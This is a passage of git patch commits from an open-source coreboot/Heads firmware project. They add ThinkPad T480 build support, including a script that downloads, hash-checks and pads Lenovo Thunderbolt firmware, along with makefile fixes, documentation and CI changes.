%s%%", substr($1,4), $2, substr($1,4), $3}' <<< "$(print_battery_state "${battery}")")" - fi - done - battery_status="${battery_status:+${battery_status}\n}" + battery_status="$(print_battery_state)" memtotal=$(cat /proc/meminfo | grep 'MemTotal' | tr -s ' ' | cut -f2 -d ' ') memtotal=$((${memtotal} / 1024 / 1024 + 1)) From 3f8317fe9a2e2ecaece04d5ea6461fbec0f563c8 Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Thu, 27 Feb 2025 01:18:00 +0100 Subject: [PATCH 555/619] create tb.bin blob when creating me.bin blob automatically move into board target dir rename blob creation file for t480 to indicate that the tb.bin is also downloaded and created Signed-off-by: gaspar-ilom --- .circleci/config.yml | 2 +- blobs/xx80/.gitignore | 1 + ...sh => download_clean_deguard_me_pad_tb.sh} | 61 +++++++++++++++---- blobs/xx80/hashes.txt | 1 + config/coreboot-t480-maximized.config | 2 +- targets/xx80_me_blobs.mk | 15 +++-- 6 files changed, 63 insertions(+), 19 deletions(-) rename blobs/xx80/{download_clean_deguard_me.sh => download_clean_deguard_me_pad_tb.sh} (70%) diff --git a/.circleci/config.yml b/.circleci/config.yml index 045d77ae1..719479237 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -101,7 +101,7 @@ jobs: - run: name: Download, neuter and deguard xx80 ME (keep generated GBE and extracted IFD in tree) command: | - ./blobs/xx80/download_clean_deguard_me.sh -m $(readlink -f ./blobs/utils/me_cleaner/me_cleaner.py) ./blobs/xx80/ + ./blobs/xx80/download_clean_deguard_me_pad_tb.sh -m $(readlink -f ./blobs/utils/me_cleaner/me_cleaner.py) ./blobs/xx80/ - run: name: Download and extract t530 vbios roms for dgpu boards command: | diff --git a/blobs/xx80/.gitignore b/blobs/xx80/.gitignore index 24d49395b..326bba658 100644 --- a/blobs/xx80/.gitignore +++ b/blobs/xx80/.gitignore @@ -1 +1,2 @@ me.bin +tb.bin diff --git a/blobs/xx80/download_clean_deguard_me.sh b/blobs/xx80/download_clean_deguard_me_pad_tb.sh similarity index 70% rename from blobs/xx80/download_clean_deguard_me.sh rename to blobs/xx80/download_clean_deguard_me_pad_tb.sh index e9f7011bc..b33732bdb 100755 --- a/blobs/xx80/download_clean_deguard_me.sh +++ b/blobs/xx80/download_clean_deguard_me_pad_tb.sh @@ -7,15 +7,23 @@ ME_version="11.6.0.1126" ME_sku="2M" ME_pch="LP" +# Thunderbolt firmware offset in bytes to pad to 1M +TBFW_SIZE=1048575 + # Integrity checks for the vendor provided ME blob... ME_DOWNLOAD_HASH="ddfbc51430699e0dfcb24a60bcb5b6e5481b325ebecf1ac177e069013189e4b0" # ...and the cleaned and deguarded version from that blob. DEGUARDED_ME_BIN_HASH="1990b42df67ba70292f4f6e2660efb909917452dcb9bd4b65ea2f86402cfa16b" +# Integrity checks for the vendor provided Thunderbolt blob... +TB_DOWNLOAD_HASH="a500a93fe6a3728aa6676c70f98cf46785ef15da7c5b1ccd7d3a478d190a28a8" +# ...and the padded and flashable version from that blob. +TB_BIN_HASH="3903a93df700dee46ca2ccbb9e70e09f25f372fcfc1d5df7338640748117b964" function usage() { echo -n \ "Usage: $(basename "$0") -m (optional) path_to_output_directory Download Intel ME firmware from Dell, neutralize and shrink keeping the MFS. +Download Thunderbolt firmware from Lenovo and pad it for flashing externally. " } @@ -30,15 +38,14 @@ function chk_sha256sum() { fi } -function chk_exists() { - if [ -e "$me_deguarded" ]; then - echo "me.bin already exists" - if echo "${DEGUARDED_ME_BIN_HASH} $me_deguarded" | sha256sum --check; then - echo "SKIPPING: SHA256 checksum for me.bin matches." - exit 0 +function chk_exists_and_matches() { + if [[ -f "$1" ]]; then + if echo "${2} ${1}" | sha256sum --check; then + echo "SKIPPING: SHA256 checksum for $1 matches." + [[ "$3" = ME ]] && me_exists="y" + [[ "$3" = TB ]] && tb_exists="y" fi - retry="y" - echo "me.bin exists but checksum doesn't match. Continuing..." + echo "$1 exists but checksum doesn't match. Continuing..." fi } @@ -102,6 +109,30 @@ function deguard() { popd || exit } +function download_and_pad_tb() { + tb_output="$(realpath "${1}")" + + # Download and unpack the Lenovo installer into a temporary directory and + # extract the TB blob. + pushd "$(mktemp -d)" || exit + + # Download the installer that contains the TB blob + tb_installer_filename=""n24th13w.exe"" + user_agent="Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0" + curl -A "$user_agent" -s -O "https://download.lenovo.com/pccbbs/mobiles/${tb_installer_filename}" + chk_sha256sum "$TB_DOWNLOAD_HASH" "$tb_installer_filename" + + # https://www.reddit.com/r/thinkpad/comments/9rnimi/ladies_and_gentlemen_i_present_to_you_the/ + 7z e n24th13w.exe \[0\] + mv \[0\] tb.bin + # pad with zeros + dd if=/dev/zero of=tb.bin bs=1 seek="$TBFW_SIZE" count=1 + mv "tb.bin" "$tb_output" + + rm -rf ./* + popd || exit +} + function usage_err() { echo "$1" usage @@ -138,7 +169,9 @@ function parse_params() { fi me_cleaned="${output_dir}/me_cleaned.bin" me_deguarded="${output_dir}/me.bin" + tb_flashable="${output_dir}/tb.bin" echo "Writing cleaned and deguarded ME to ${me_deguarded}" + echo "Writing flashable TB to ${tb_flashable}" } if [[ "${BASH_SOURCE[0]}" == "$0" ]]; then @@ -148,13 +181,19 @@ if [[ "${BASH_SOURCE[0]}" == "$0" ]]; then fi parse_params "$@" - chk_exists + chk_exists_and_matches "$me_deguarded" "$DEGUARDED_ME_BIN_HASH" ME + chk_exists_and_matches "$tb_flashable" "$TB_BIN_HASH" TB - if [[ ! -f "$me_deguarded" ]] || [ "$retry" = "y" ]; then + if [[ -z "$me_exists" ]]; then download_and_clean "$me_cleaner" "$me_cleaned" deguard "$me_cleaned" "$me_deguarded" rm -f "$me_cleaned" fi - + + if [[ -z "$tb_exists" ]]; then + download_and_pad_tb "$tb_flashable" + fi + chk_sha256sum "$DEGUARDED_ME_BIN_HASH" "$me_deguarded" + chk_sha256sum "$TB_BIN_HASH" "$tb_flashable" fi \ No newline at end of file diff --git a/blobs/xx80/hashes.txt b/blobs/xx80/hashes.txt index 125e52148..8ca7f9be6 100644 --- a/blobs/xx80/hashes.txt +++ b/blobs/xx80/hashes.txt @@ -1,3 +1,4 @@ d3af2dfbf128bcddfc8c5810a11478697312e5701668f719f80f3f6322db5642 gbe.bin f2f6d5fb0a5e02964b494862032fd93f1f88e2febd9904b936083600645c7fdf ifd.bin 1990b42df67ba70292f4f6e2660efb909917452dcb9bd4b65ea2f86402cfa16b me.bin +3903a93df700dee46ca2ccbb9e70e09f25f372fcfc1d5df7338640748117b964 tb.bin diff --git a/config/coreboot-t480-maximized.config b/config/coreboot-t480-maximized.config index 60f2a6fa1..c873b4ee8 100644 --- a/config/coreboot-t480-maximized.config +++ b/config/coreboot-t480-maximized.config @@ -222,7 +222,7 @@ CONFIG_PS2M_EISAID="PNP0F13" CONFIG_THINKPADEC_HKEY_EISAID="IBM0068" CONFIG_GFX_GMA_PANEL_1_PORT="eDP" CONFIG_BOARD_LENOVO_SKLKBL_THINKPAD_COMMON=y -CONFIG_LENOVO_TBFW_BIN="" +CONFIG_LENOVO_TBFW_BIN="@BLOB_DIR@/xx80/tb.bin" # CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y CONFIG_D3COLD_SUPPORT=y diff --git a/targets/xx80_me_blobs.mk b/targets/xx80_me_blobs.mk index 52c88d779..88bf5f266 100644 --- a/targets/xx80_me_blobs.mk +++ b/targets/xx80_me_blobs.mk @@ -6,14 +6,17 @@ # following to have gbe.bin ifd.bin and me.bin # - blobs/xx80/download_clean_me_and_deguard.sh # To download Lenovo original ME binary, neuter+deactivate ME, produce -# reduced IFD ME region and expanded BIOS IFD region. -# - blobs/xx80/extract_and_deguard.sh -# To extract ME binary, GBE and IFD blobs and apply the deguard exploit to the the ME binary. +# reduced IFD ME region and expanded BIOS IFD region. +# Also creates the tb.bin blob to flash the Thunderbolt SPI. # Make the Coreboot build depend on the following 3rd party blobs: $(build)/coreboot-$(CONFIG_COREBOOT_VERSION)/$(BOARD)/.build: \ - $(pwd)/blobs/xx80/me.bin + $(pwd)/blobs/xx80/me.bin $(pwd)/blobs/xx80/tb.bin $(pwd)/blobs/xx80/me.bin: - COREBOOT_DIR="$(build)/$(coreboot_base_dir)" \ - $(pwd)/blobs/xx80/download_clean_deguard_me.sh $(pwd)/blobs/xx80 + $(pwd)/blobs/xx80/download_clean_deguard_me_pad_tb.sh \ + -m $(pwd)/blobs/utils/me_cleaner/me_cleaner.py $(pwd)/blobs/xx80 + +$(pwd)/blobs/xx80/tb.bin: \ + $(pwd)/blobs/xx80/me.bin + cp $(pwd)/blobs/xx80/tb.bin $(build)/$(BOARD)/ From 77cccad1e7908ad27f035348c7a7420e136f4b0e Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Thu, 27 Feb 2025 09:49:19 +0100 Subject: [PATCH 556/619] remove leftovers from libreboot's coreboot kconfig modification for flashing the thunderbolt spi externally Signed-off-by: gaspar-ilom --- config/coreboot-t480-maximized.config | 1 - ...config-option-CONFIG_LENOVO_TBFW_BIN.patch | 78 ------------------- 2 files changed, 79 deletions(-) delete mode 100644 patches/coreboot-24.12/0009-lenovo-Add-Kconfig-option-CONFIG_LENOVO_TBFW_BIN.patch diff --git a/config/coreboot-t480-maximized.config b/config/coreboot-t480-maximized.config index c873b4ee8..48b70fc5a 100644 --- a/config/coreboot-t480-maximized.config +++ b/config/coreboot-t480-maximized.config @@ -222,7 +222,6 @@ CONFIG_PS2M_EISAID="PNP0F13" CONFIG_THINKPADEC_HKEY_EISAID="IBM0068" CONFIG_GFX_GMA_PANEL_1_PORT="eDP" CONFIG_BOARD_LENOVO_SKLKBL_THINKPAD_COMMON=y -CONFIG_LENOVO_TBFW_BIN="@BLOB_DIR@/xx80/tb.bin" # CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y CONFIG_D3COLD_SUPPORT=y diff --git a/patches/coreboot-24.12/0009-lenovo-Add-Kconfig-option-CONFIG_LENOVO_TBFW_BIN.patch b/patches/coreboot-24.12/0009-lenovo-Add-Kconfig-option-CONFIG_LENOVO_TBFW_BIN.patch deleted file mode 100644 index cd6cdb029..000000000 --- a/patches/coreboot-24.12/0009-lenovo-Add-Kconfig-option-CONFIG_LENOVO_TBFW_BIN.patch +++ /dev/null @@ -1,78 +0,0 @@ -From 35295d97b08ee659b6770ce39003732a4bdfb6a0 Mon Sep 17 00:00:00 2001 -From: Leah Rowe -Date: Wed, 18 Dec 2024 02:06:18 +0000 -Subject: [PATCH 09/11] lenovo: Add Kconfig option CONFIG_LENOVO_TBFW_BIN - -This is used by lbmk to know where a tb.bin file goes, -when extracting and padding TBT.bin from Lenovo ThunderBolt -firmware updates on T480/T480s and other machines, grabbing -Lenovo update files. - -Not used in any builds, so it's not relevant for ./mk inject - -However, the ThunderBolt firmware is now auto-downloaded on -T480/T480s. This is not inserted, because it doesn't go in -the main flash, but the resulting ROM image can be flashed -on the TB controller's separate flash chip. - -Locations are as follows: - -vendorfiles/t480s/tb.bin -vendorfiles/t480/tb.bin - -This can be used for other affected ThinkPads when they're -added to Libreboot, but note that Lenovo provides different -TB firmware files for each machine. - -Since I assume it's the same TB controller on all of those -machines, I have to wonder: what difference is there between -the various TBT.bin files provided by Lenovo, and how do they -differ in terms of actual flashed configuration? - -We simply flash the padded TBT.bin when updating the firmware, -flashing externally. That's what this patch is for, so that -lbmk can auto-download them. - -Signed-off-by: Leah Rowe ---- - src/mainboard/lenovo/Kconfig | 26 ++++++++++++++++++++++++++ - 1 file changed, 26 insertions(+) - -diff --git a/src/mainboard/lenovo/Kconfig b/src/mainboard/lenovo/Kconfig -index 2ffbaab85f..512b326381 100644 ---- a/src/mainboard/lenovo/Kconfig -+++ b/src/mainboard/lenovo/Kconfig -@@ -18,4 +18,30 @@ config MAINBOARD_FAMILY - string - default MAINBOARD_PART_NUMBER - -+config LENOVO_TBFW_BIN -+ string "Lenovo ThunderBolt firmware bin file" -+ default "" -+ help -+ ThunderBolt firmware for certain ThinkPad models e.g. T480. -+ Not used in the actual build. Libreboot's build system uses this -+ along with config/vendor/*/pkg.cfg entries defining a URL to the -+ Lenovo download link and hash. The resulting file when processed by -+ lbmk can be flashed to the ThunderBolt firmware's 25XX NOR device. -+ Earlier versions of this firmware had debug commands enabled that -+ sent logs to said flash IC, and it would quickly fill up, bricking -+ the ThunderBolt controller. With these updates, flashed externally, -+ you can fix the issue if present or otherwise prevent it. The benefit -+ here is that you then don't need to use Windows or a boot disk. You -+ can flash the TB firmware while flashing Libreboot firmware. Easy! -+ Look for these variables in lbmk: -+ TBFW_url TBFW_url_bkup TBFW_hash and look at how it handles that and -+ CONFIG_LENOVO_TBFW_BIN, in lbmk's include/vendor.sh file. -+ The path set by CONFIG_LENOVO_TBFW_BIN is used by lbmk when extracting -+ the firmware, putting it at that desired location. In this way, lbmk -+ can auto-download such firmware. E.g. ./mk -d coreboot t480_fsp_16mb -+ and it appears at vendorfiles/t480/tb.bin fully padded and everything! -+ -+ Just leave this blank if you don't care about this option. It's not -+ useful for every ThinkPad, only certain models. -+ - endif # VENDOR_LENOVO --- -2.39.5 - From 01a164aad74b3302c4150aad211cce2bbeafda8c Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Thu, 27 Feb 2025 11:22:13 +0100 Subject: [PATCH 557/619] fix t480 make file Signed-off-by: gaspar-ilom --- targets/xx80_me_blobs.mk | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/targets/xx80_me_blobs.mk b/targets/xx80_me_blobs.mk index 88bf5f266..997b96450 100644 --- a/targets/xx80_me_blobs.mk +++ b/targets/xx80_me_blobs.mk @@ -11,12 +11,11 @@ # Make the Coreboot build depend on the following 3rd party blobs: $(build)/coreboot-$(CONFIG_COREBOOT_VERSION)/$(BOARD)/.build: \ - $(pwd)/blobs/xx80/me.bin $(pwd)/blobs/xx80/tb.bin + $(pwd)/blobs/xx80/me.bin $(pwd)/blobs/xx80/tb.bin $(build)/$(BOARD)/tb.bin -$(pwd)/blobs/xx80/me.bin: +$(pwd)/blobs/xx80/me.bin $(pwd)/blobs/xx80/tb.bin &: $(pwd)/blobs/xx80/download_clean_deguard_me_pad_tb.sh \ -m $(pwd)/blobs/utils/me_cleaner/me_cleaner.py $(pwd)/blobs/xx80 -$(pwd)/blobs/xx80/tb.bin: \ - $(pwd)/blobs/xx80/me.bin - cp $(pwd)/blobs/xx80/tb.bin $(build)/$(BOARD)/ +$(build)/$(BOARD)/tb.bin: $(pwd)/blobs/xx80/tb.bin + cp $(pwd)/blobs/xx80/tb.bin $(build)/$(BOARD) From 429e8aa39d0b2ec6648e1e37b90001f36f5fc28b Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Thu, 27 Feb 2025 12:14:04 +0100 Subject: [PATCH 558/619] fix whitespace in t480 make file Signed-off-by: gaspar-ilom --- targets/xx80_me_blobs.mk | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/targets/xx80_me_blobs.mk b/targets/xx80_me_blobs.mk index 997b96450..ebc32bd40 100644 --- a/targets/xx80_me_blobs.mk +++ b/targets/xx80_me_blobs.mk @@ -14,7 +14,7 @@ $(build)/coreboot-$(CONFIG_COREBOOT_VERSION)/$(BOARD)/.build: \ $(pwd)/blobs/xx80/me.bin $(pwd)/blobs/xx80/tb.bin $(build)/$(BOARD)/tb.bin $(pwd)/blobs/xx80/me.bin $(pwd)/blobs/xx80/tb.bin &: - $(pwd)/blobs/xx80/download_clean_deguard_me_pad_tb.sh \ + $(pwd)/blobs/xx80/download_clean_deguard_me_pad_tb.sh \ -m $(pwd)/blobs/utils/me_cleaner/me_cleaner.py $(pwd)/blobs/xx80 $(build)/$(BOARD)/tb.bin: $(pwd)/blobs/xx80/tb.bin From aa2b15dd055b3db18e0e60bf4a008d3e6b95c270 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 27 Feb 2025 13:35:10 -0500 Subject: [PATCH 559/619] patches/coreboot-24.12/0003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch: do not comment inclusion of thermal.asl Thanks to @nic3-14159 over coreboot matrix channel for the tip https://matrix.to/#/!EhaGFZyYcbyhdSgStq:matrix.org/$Rp7bFaRphrasUhnvNRrNvfYdzMgThMUUjQNswvg5CWo?via=matrix.org&via=tchncs.de&via=envs.net Signed-off-by: Thierry Laurion --- ...enovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch | 13 ------------- 1 file changed, 13 deletions(-) diff --git a/patches/coreboot-24.12/0003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch b/patches/coreboot-24.12/0003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch index 108f688db..c5b8acfd5 100644 --- a/patches/coreboot-24.12/0003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch +++ b/patches/coreboot-24.12/0003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch @@ -143,19 +143,6 @@ index d60720eb49..cc6b9b068a 100644 acpigen_write_rom(cbrom, cbrom_length); acpigen_pop_len(); /* pop scope */ } -diff --git a/src/ec/lenovo/h8/acpi/ec.asl b/src/ec/lenovo/h8/acpi/ec.asl -index bc54d3b422..8f4a8e1986 100644 ---- a/src/ec/lenovo/h8/acpi/ec.asl -+++ b/src/ec/lenovo/h8/acpi/ec.asl -@@ -331,7 +331,7 @@ Device(EC) - #include "sleepbutton.asl" - #include "lid.asl" - #include "beep.asl" --#include "thermal.asl" -+//#include "thermal.asl" - #include "systemstatus.asl" - #include "thinkpad.asl" - } diff --git a/src/ec/lenovo/h8/bluetooth.c b/src/ec/lenovo/h8/bluetooth.c index 16fc8dce39..be71a24ced 100644 --- a/src/ec/lenovo/h8/bluetooth.c From f20e519e0561de20f47ded8eed32852d54f4feb5 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 27 Feb 2025 16:37:58 -0500 Subject: [PATCH 560/619] config/coreboot-z220-cmt.config: fix changes of path for VBT (libgfxinit config blob) and resave coreboot config with coreboot.modify_and_save_oldconfig_in_place helper Signed-off-by: Thierry Laurion --- config/coreboot-z220-cmt.config | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/config/coreboot-z220-cmt.config b/config/coreboot-z220-cmt.config index c5d5f54da..228912457 100644 --- a/config/coreboot-z220-cmt.config +++ b/config/coreboot-z220-cmt.config @@ -148,7 +148,7 @@ CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" # CONFIG_FATAL_ASSERTS is not set CONFIG_USBDEBUG_HCD_INDEX=2 -CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/data.vbt" +CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(CONFIG_VARIANT_DIR)/data.vbt" CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Hewlett-Packard Z220 CMT Workstation" # CONFIG_CONSOLE_POST is not set @@ -370,6 +370,7 @@ CONFIG_SUPERIO_NUVOTON_NPCD378=y # # Embedded Controllers # +CONFIG_EC_DASHARO_EC_FLASH_SIZE=0x20000 # # Intel Firmware From 81151d94f601bffb08dc3bab46bdd8e71670972c Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Fri, 28 Feb 2025 12:05:55 +0100 Subject: [PATCH 561/619] add documentation for tb.bin Thunderbolt flashing on the T480 Signed-off-by: gaspar-ilom --- blobs/xx80/README.md | 13 ++++++++++++- .../t480-hotp-maximized/t480-hotp-maximized.config | 5 +++++ boards/t480-maximized/t480-maximized.config | 5 +++++ 3 files changed, 22 insertions(+), 1 deletion(-) diff --git a/blobs/xx80/README.md b/blobs/xx80/README.md index 81931cca3..e081c276b 100644 --- a/blobs/xx80/README.md +++ b/blobs/xx80/README.md @@ -5,6 +5,7 @@ The following blobs are needed: * `ifd.bin` * `gbe.bin` * `me.bin` +* `tb.bin` (optional but recommended flashing this blob to the separate Thunderbolt SPI chip to fix a bug in the original firmware) ## me.bin: automatically extract, neuter and deguard @@ -27,6 +28,11 @@ Both blobs were taken from libreboot: https://codeberg.org/libreboot/lbmk/src/co The GBE MAC address was forged to: `00:DE:AD:C0:FF:EE MAC` +## tb.bin + +This blob was extracted from https://download.lenovo.com/pccbbs/mobiles/n24th13w.exe +It is zero-padded to 1MB and should be flashed to the Thunderbolt SPI chip, which is not the same as the 16MB chip to which the heads rom is flashed. External flashing is recommended as the only way to reliably fix a bug in the original Thunderbolt software on the SPI chip. You can find a guide here: https://osresearch.net/T430-maximized-flashing/ + ## Integrity Sha256sums: `blobs/xx80/hashes.txt` @@ -39,4 +45,9 @@ See the board configs `boards/t480-[hotp-]maximized/t480-[hotp-]maximized.config > This attack can be used to bypass measured boot when an attacker succeeds at modifying the SPI flash. > Also it can be used to extract FDE keys from a TPM. > The related coreboot issue contains more information: https://ticket.coreboot.org/issues/576 -> Make sure you understand the implications of the attack for your threat model before using this board. \ No newline at end of file +> Make sure you understand the implications of the attack for your threat model before using this board. + +# Documentation + +A guide on how to flash this board (both the Heads rom and the Thunderbolt `tb.bin` blob) can be found here: +https://osresearch.net/T430-maximized-flashing/ \ No newline at end of file diff --git a/boards/t480-hotp-maximized/t480-hotp-maximized.config b/boards/t480-hotp-maximized/t480-hotp-maximized.config index 34de19b0d..42506658a 100644 --- a/boards/t480-hotp-maximized/t480-hotp-maximized.config +++ b/boards/t480-hotp-maximized/t480-hotp-maximized.config @@ -11,6 +11,11 @@ # - Deactivated+neutered+deguarded ME and expanded consequent IFD BIOS regions # - Forged GBE MAC address to 00:DE:AD:C0:FF:EE MAC address (if not extracting gbe.bin from backup with blobs/xx80/extract.sh) # - Note that this MAC address can be modified under build/coreboot-VER/util/bincfg/gbe-82579LM.set +# - Flashable Thunderbolt tb.bin blob extracted from https://download.lenovo.com/pccbbs/mobiles/n24th13w.exe +# - It is zero-padded to 1MB and should be flashed to the Thunderbolt SPI chip, +# which is not the same as the 16MB chip to which the heads rom is flashed. +# External flashing is recommended as the only way to reliably fix a bug in the original Thunderbolt software on the SPI chip. +# You can find a guide here: https://osresearch.net/T430-maximized-flashing/ # # - Includes Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) diff --git a/boards/t480-maximized/t480-maximized.config b/boards/t480-maximized/t480-maximized.config index be3c2948c..92fcacd87 100644 --- a/boards/t480-maximized/t480-maximized.config +++ b/boards/t480-maximized/t480-maximized.config @@ -11,6 +11,11 @@ # - Deactivated+neutered+deguarded ME and expanded consequent IFD BIOS regions # - Forged GBE MAC address to 00:DE:AD:C0:FF:EE MAC address (if not extracting gbe.bin from backup with blobs/xx80/extract.sh) # - Note that this MAC address can be modified under build/coreboot-VER/util/bincfg/gbe-82579LM.set +# - Flashable Thunderbolt tb.bin blob extracted from https://download.lenovo.com/pccbbs/mobiles/n24th13w.exe +# - It is zero-padded to 1MB and should be flashed to the Thunderbolt SPI chip, +# which is not the same as the 16MB chip to which the heads rom is flashed. +# External flashing is recommended as the only way to reliably fix a bug in the original Thunderbolt software on the SPI chip. +# You can find a guide here: https://osresearch.net/T430-maximized-flashing/ # # - DOES NOT INCLUDE Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) From 438a061c99541bad302a20234a8e1e637e8a5194 Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Sun, 2 Mar 2025 23:30:39 +0100 Subject: [PATCH 562/619] changes the tb.bin Thunderbolt blob script to create the same blob as libreboot the blob created from the script prior to this change is not confirmed working this blob is now confirmed working if following the instructions from libreboot https://libreboot.org/docs/install/t480.html#update-lenovo-firmware-first Signed-off-by: gaspar-ilom --- blobs/xx80/download_clean_deguard_me_pad_tb.sh | 6 +++--- blobs/xx80/hashes.txt | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/blobs/xx80/download_clean_deguard_me_pad_tb.sh b/blobs/xx80/download_clean_deguard_me_pad_tb.sh index b33732bdb..3ff2deaec 100755 --- a/blobs/xx80/download_clean_deguard_me_pad_tb.sh +++ b/blobs/xx80/download_clean_deguard_me_pad_tb.sh @@ -17,7 +17,7 @@ DEGUARDED_ME_BIN_HASH="1990b42df67ba70292f4f6e2660efb909917452dcb9bd4b65ea2f8640 # Integrity checks for the vendor provided Thunderbolt blob... TB_DOWNLOAD_HASH="a500a93fe6a3728aa6676c70f98cf46785ef15da7c5b1ccd7d3a478d190a28a8" # ...and the padded and flashable version from that blob. -TB_BIN_HASH="3903a93df700dee46ca2ccbb9e70e09f25f372fcfc1d5df7338640748117b964" +TB_BIN_HASH="fc9c47ff4b16f036a7f49900f9da1983a5db44ca46156238b7b42e636d317388" function usage() { echo -n \ @@ -123,8 +123,8 @@ function download_and_pad_tb() { chk_sha256sum "$TB_DOWNLOAD_HASH" "$tb_installer_filename" # https://www.reddit.com/r/thinkpad/comments/9rnimi/ladies_and_gentlemen_i_present_to_you_the/ - 7z e n24th13w.exe \[0\] - mv \[0\] tb.bin + innoextract n24th13w.exe -d . + mv ./code\$GetExtractPath\$/TBT.bin tb.bin # pad with zeros dd if=/dev/zero of=tb.bin bs=1 seek="$TBFW_SIZE" count=1 mv "tb.bin" "$tb_output" diff --git a/blobs/xx80/hashes.txt b/blobs/xx80/hashes.txt index 8ca7f9be6..1b4a87e5c 100644 --- a/blobs/xx80/hashes.txt +++ b/blobs/xx80/hashes.txt @@ -1,4 +1,4 @@ d3af2dfbf128bcddfc8c5810a11478697312e5701668f719f80f3f6322db5642 gbe.bin f2f6d5fb0a5e02964b494862032fd93f1f88e2febd9904b936083600645c7fdf ifd.bin 1990b42df67ba70292f4f6e2660efb909917452dcb9bd4b65ea2f86402cfa16b me.bin -3903a93df700dee46ca2ccbb9e70e09f25f372fcfc1d5df7338640748117b964 tb.bin +fc9c47ff4b16f036a7f49900f9da1983a5db44ca46156238b7b42e636d317388 tb.bin From 730fdd1b25384bacc8e491c543709f5967651ffb Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 3 Mar 2025 12:40:25 -0500 Subject: [PATCH 563/619] t480: move to unmaintained, remove t480 from circleci. Upstream will need to fix thermal codepath: as of now its either other thinkpads or t480. Not good Signed-off-by: Thierry Laurion --- .circleci/config.yml | 64 +++++++++---------- .../UNMAINTAINED_t480-hotp-maximized.config | 0 .../UNMAINTAINED_t480-maximized.config | 2 +- 3 files changed, 33 insertions(+), 33 deletions(-) rename boards/t480-hotp-maximized/t480-hotp-maximized.config => unmaintained_boards/UNMAINTAINED_t480-hotp-maximized/UNMAINTAINED_t480-hotp-maximized.config (100%) rename boards/t480-maximized/t480-maximized.config => unmaintained_boards/UNMAINTAINED_t480-maximized/UNMAINTAINED_t480-maximized.config (97%) diff --git a/.circleci/config.yml b/.circleci/config.yml index a3cf6c991..a95a16b90 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -250,10 +250,10 @@ workflows: requires: - novacustom-nv4x_adl - # t480 is based on 24.12 coreboot release, not sharing any buildstack from now, depend on muscl-cross cache + # x230 is based on 24.12 coreboot release here - build_and_persist: - name: t480-hotp-maximized - target: t480-hotp-maximized + name: x230-hotp-maximized + target: x230-hotp-maximized subcommand: "" requires: - x86-musl-cross-make @@ -280,7 +280,7 @@ workflows: - save_cache: requires: - UNTESTED_talos-2 - - t480-hotp-maximized + - x230-hotp-maximized # Those onboarding new boards should add their entries below. # coreboot 24.12 boards @@ -289,49 +289,49 @@ workflows: target: x220-hotp-maximized subcommand: "" requires: - - t480-hotp-maximized + - x230-hotp-maximized - build: name: x220-maximized target: x220-maximized subcommand: "" requires: - - t480-hotp-maximized + - x230-hotp-maximized - build: name: t420-hotp-maximized target: t420-hotp-maximized subcommand: "" requires: - - t480-hotp-maximized + - x230-hotp-maximized - build: name: t420-maximized target: t420-maximized subcommand: "" requires: - - t480-hotp-maximized + - x230-hotp-maximized - build: name: x230-hotp-maximized_usb-kb target: x230-hotp-maximized_usb-kb subcommand: "" requires: - - t480-hotp-maximized + - x230-hotp-maximized - build: name: t430-hotp-maximized target: t430-hotp-maximized subcommand: "" requires: - - t480-hotp-maximized + - x230-hotp-maximized - build: name: x230-maximized target: x230-maximized subcommand: "" requires: - - t480-hotp-maximized + - x230-hotp-maximized #TODO: move away of 24.02.01 coreboot and depend on optiplex specific dasharo commit - build: @@ -339,126 +339,126 @@ workflows: target: optiplex-7010_9010-maximized subcommand: "" requires: - - t480-hotp-maximized + - x230-hotp-maximized - build: name: optiplex-7010_9010-hotp-maximized target: optiplex-7010_9010-hotp-maximized subcommand: "" requires: - - t480-hotp-maximized + - x230-hotp-maximized - build: name: optiplex-7010_9010_TXT-maximized target: optiplex-7010_9010_TXT-maximized subcommand: "" requires: - - t480-hotp-maximized + - x230-hotp-maximized - build: name: optiplex-7010_9010_TXT-hotp-maximized target: optiplex-7010_9010_TXT-hotp-maximized subcommand: "" requires: - - t480-hotp-maximized + - x230-hotp-maximized - build: name: x230-maximized-fhd_edp target: x230-maximized-fhd_edp subcommand: "" requires: - - t480-hotp-maximized + - x230-hotp-maximized - build: name: x230-hotp-maximized-fhd_edp target: x230-hotp-maximized-fhd_edp subcommand: "" requires: - - t480-hotp-maximized + - x230-hotp-maximized - build: name: w530-hotp-maximized target: w530-hotp-maximized subcommand: "" requires: - - t480-hotp-maximized + - x230-hotp-maximized - build: name: 